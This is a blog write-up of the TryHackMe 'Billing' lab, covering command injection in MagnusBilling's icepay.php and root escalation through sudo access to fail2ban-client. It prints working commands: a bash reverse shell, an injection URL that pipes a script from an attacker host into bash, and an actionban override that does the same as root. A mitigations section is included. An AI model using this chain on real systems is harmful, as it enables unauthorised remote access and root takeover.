DEV Community

Farhan Hussain
Farhan Hussain

Posted on

Billing — TryHackMe

Platform: TryHackMe · Difficulty: Medium · Category: VoIP / Command Injection / Privilege Escalation

Introduction

Today's target is Billing, a box built around MagnusBilling — an open-source VoIP billing platform — sitting on top of the Asterisk PBX service it was written to invoice for. It's a good room for anyone who's only ever attacked generic CMS boxes, because the attack surface here is domain-specific: payment gateway integrations, call manager ports, a billing panel talking to a telephony backend. The foothold is a classic unauthenticated command injection in a third-party payment module — the kind of bug that shows up constantly in real deployments, because payment gateway plugins are bolted onto core applications by separate teams and reviewed far less rigorously. The escalation is the more memorable half: fail2ban, a daemon whose entire job is to detect and block malicious behaviour, becomes the exact mechanism that hands over root, once you realise its client binary can redefine what a "block" actually does.

If you're following along, you should already be comfortable with chained shell operators (;, |, &&) in injection contexts, and it helps to know roughly how fail2ban's jails, filters, and actions relate to each other before the escalation section — I'll explain it as I go, but the short version is: jails watch logs, and actions decide what happens when a jail decides to ban someone.

Recon

The port scan lays out the whole theme of the box before you've even loaded the webpage:

rustscan -a 10.49.178.53 -r 1-65535 --ulimit 5000 -b 500 -t 2000 -- -Pn -sV -sC -T4
Enter fullscreen mode Exit fullscreen mode
Port Service Version
22/tcp SSH OpenSSH 9.2p1 Debian
80/tcp HTTP Apache 2.4.62 — MagnusBilling
3306/tcp MySQL MariaDB 10.3.23 or earlier
5038/tcp Asterisk Asterisk Call Manager 2.10.6

A telecom-flavoured stack: MagnusBilling (the billing software) on top of Asterisk (the PBX it bills for), backed by MariaDB. Three unrelated-looking services that are actually one application.

Feroxbuster against the web root surfaces the entire MagnusBilling install structure — lib/, fpdf/, and a cluster of payment gateway directories: icepay/, mercadopago/, stripe/, anet/, PlacetoPay/. Nothing custom has been bolted on top; it's the stock application. That's actually useful information — it means the vulnerability, whatever it is, is either a known CVE in this MagnusBilling version or a flaw in one of those payment integrations. Payment gateway code is where I go first on boxes like this: it's maintained by whoever wrote the plugin, not the core MagnusBilling team, and it tends to carry more bugs because it's reviewed less.

Foothold

IcePay's integration file, icepay.php, accepts a democ parameter. Instead of validating it, the application passes it straight into a shell execution context — most likely building a command string for some kind of payment verification or demo-mode check. That means anything after a shell metacharacter in that parameter rides along as a separate command.

echo 'bash -i >& /dev/tcp/192.168.134.217/4444 0>&1' > shell.sh
Enter fullscreen mode Exit fullscreen mode
http://10.49.178.53/mbilling/lib/icepay/icepay.php?democ=/dev/null;curl%20http://192.168.134.217/shell.sh%20|%20bash;id
Enter fullscreen mode Exit fullscreen mode

The /dev/null up front is there to look like a plausible, harmless value for whatever democ is supposed to be — the semicolon after it is what actually matters, chaining a curl | bash fetch-and-execute onto an otherwise unauthenticated request. Catch it on a listener:

nc -nvlp 4444
Enter fullscreen mode Exit fullscreen mode
connect to [192.168.134.217] from (UNKNOWN) [10.49.178.53] 53710
asterisk@ip-10-49-178-53:/var/www/html/mbilling/lib/icepay$
Enter fullscreen mode Exit fullscreen mode

Shell as asterisk — the system account the Asterisk/MagnusBilling services run under. No authentication, no exploit development, just an unsanitised parameter doing exactly what it was given.

Shell / Access

cd /home/magnus
cat user.txt
# THM{4a6831d5f124b25eefb1e92e0f0da4ca}
Enter fullscreen mode Exit fullscreen mode

Escalation

sudo -l is always the first thing I run after landing anywhere, and here it returns something worth pausing on:

User asterisk may run the following commands on ip-10-49-178-53:
    (ALL) NOPASSWD: /usr/bin/fail2ban-client
Enter fullscreen mode Exit fullscreen mode

Fail2ban is a log-monitoring service that watches for malicious patterns — repeated failed SSH logins, for instance — and responds by banning the offending IP, typically by inserting a firewall rule. Its behaviour is split across two concepts: jails, which define what log files to watch and for which patterns, and actions, which define what actually runs when a ban fires. That actionban setting is the part that matters here — it's literally a shell command, configurable per jail.

My first instinct was the boring one: go check whether the action config files under /etc/fail2ban/action.d/*.conf were writable, so I could just edit in a malicious command directly. They weren't — root-owned, standard permissions, no path in through the filesystem. For a minute that made the sudo rule look like a dead end.

So I actually read the fail2ban-client man page instead of assuming I already understood what the tool could do. It turns out you don't need to touch any file on disk — fail2ban-client can redefine a jail's action live, entirely from the command line:

sudo /usr/bin/fail2ban-client status
Enter fullscreen mode Exit fullscreen mode
Jail list: ast-cli-attck, ast-hgc-200, asterisk-iptables, asterisk-manager,
           ip-blacklist, mbilling_ddos, mbilling_login, sshd
Enter fullscreen mode Exit fullscreen mode
sudo /usr/bin/fail2ban-client set sshd action iptables-multiport actionban \
  "/bin/bash -c 'curl http://192.168.134.217:4443/shell.sh | bash'"
Enter fullscreen mode Exit fullscreen mode

That command doesn't execute anything by itself — it just rewrites what will run the next time the sshd jail decides to ban someone. To make that happen on demand rather than waiting for a real failed-login storm, you can just tell fail2ban to ban an address yourself:

sudo /usr/bin/fail2ban-client set sshd banip 127.0.0.1
Enter fullscreen mode Exit fullscreen mode

Banning loopback is enough to satisfy the ban condition, which fires the actionban command I'd just set — as root, because fail2ban itself runs with root privileges to manage firewall rules. A tool whose entire purpose is blocking malicious activity just executed my payload with full system privileges.

nc -nvlp 4442
Enter fullscreen mode Exit fullscreen mode
connect to [192.168.134.217] from (UNKNOWN) [10.49.178.53] 34872
root@ip-10-49-178-53:/# cat /root/root.txt
THM{33ad5b530e71a172648f424ec23fae60}
Enter fullscreen mode Exit fullscreen mode

Exploitation — The Full Chain

  1. Unauthenticated command injection in icepay.php's democ parameter → curl | bash payload → shell as asterisk
  2. sudo fail2ban-client with NOPASSWD → redefined the sshd jail's actionban to a reverse shell payload
  3. fail2ban-client set sshd banip 127.0.0.1 → triggered the ban → action ran as root → root shell

Rabbit Holes

Direct config file editing. Before finding the live reconfiguration path, I spent a few minutes checking whether /etc/fail2ban/action.d/*.conf was writable by asterisk. It wasn't, and in hindsight that was never going to be the intended route anyway — fail2ban-client set doesn't require persistence on disk at all, which makes it a cleaner escalation path than file editing would have been even if the files had been writable.

Payload iteration through actionban. I tried a few different commands before settling on the reverse shell: first an attempt to copy root.txt to a world-readable location, then copying and SUID-stamping /bin/bash. Worth remembering — each new actionban definition overwrites the previous one, so only the most recently set command fires on the next trigger. The SUID bash copy probably would have worked too; the reverse shell just happened to be the one I verified first.

Listener confusion. One nc -nvlp 4443 session caught a raw GET /shell.sh HTTP/1.1 request instead of a shell — momentarily alarming, until I realised that was just curl fetching the payload file as expected, not a failure. I'd conflated the listener serving the payload with the listener meant to catch the resulting connection. Running two separate listeners — one to serve, one to catch — cleared it up immediately.

Flags

Flag Value Location
User THM{4a6831d5f124b25eefb1e92e0f0da4ca} /home/magnus/user.txt
Root THM{33ad5b530e71a172648f424ec23fae60} /root/root.txt

Mitigations

Vulnerability Severity Mitigation
Unauthenticated command injection in icepay.php Critical Update MagnusBilling to a patched version; never pass unsanitised request parameters into shell execution contexts; allowlist payment gateway callback parameters
sudo fail2ban-client with NOPASSWD Critical Never grant unrestricted sudo to fail2ban-client — its set subcommand allows arbitrary command execution via actionban; scope any required automation to read-only subcommands
Service account granted broad sudo rights High Service accounts should carry the minimum sudo footprint required; question why a web-facing account needs any access to security tooling at all

Key Takeaway

Granting sudo access to a tool's client binary isn't the same as granting access to only its "safe" operations. fail2ban-client's set subcommand can redefine the exact command that runs on a security event, turning a defensive daemon into an arbitrary root code execution primitive. Before assuming a "monitoring" or "status" tool is safe to hand over via sudo, audit its full subcommand surface — the same question is worth asking of systemctl, docker, or any other client talking to a privileged daemon.


Room: TryHackMe — Billing

Top comments (0)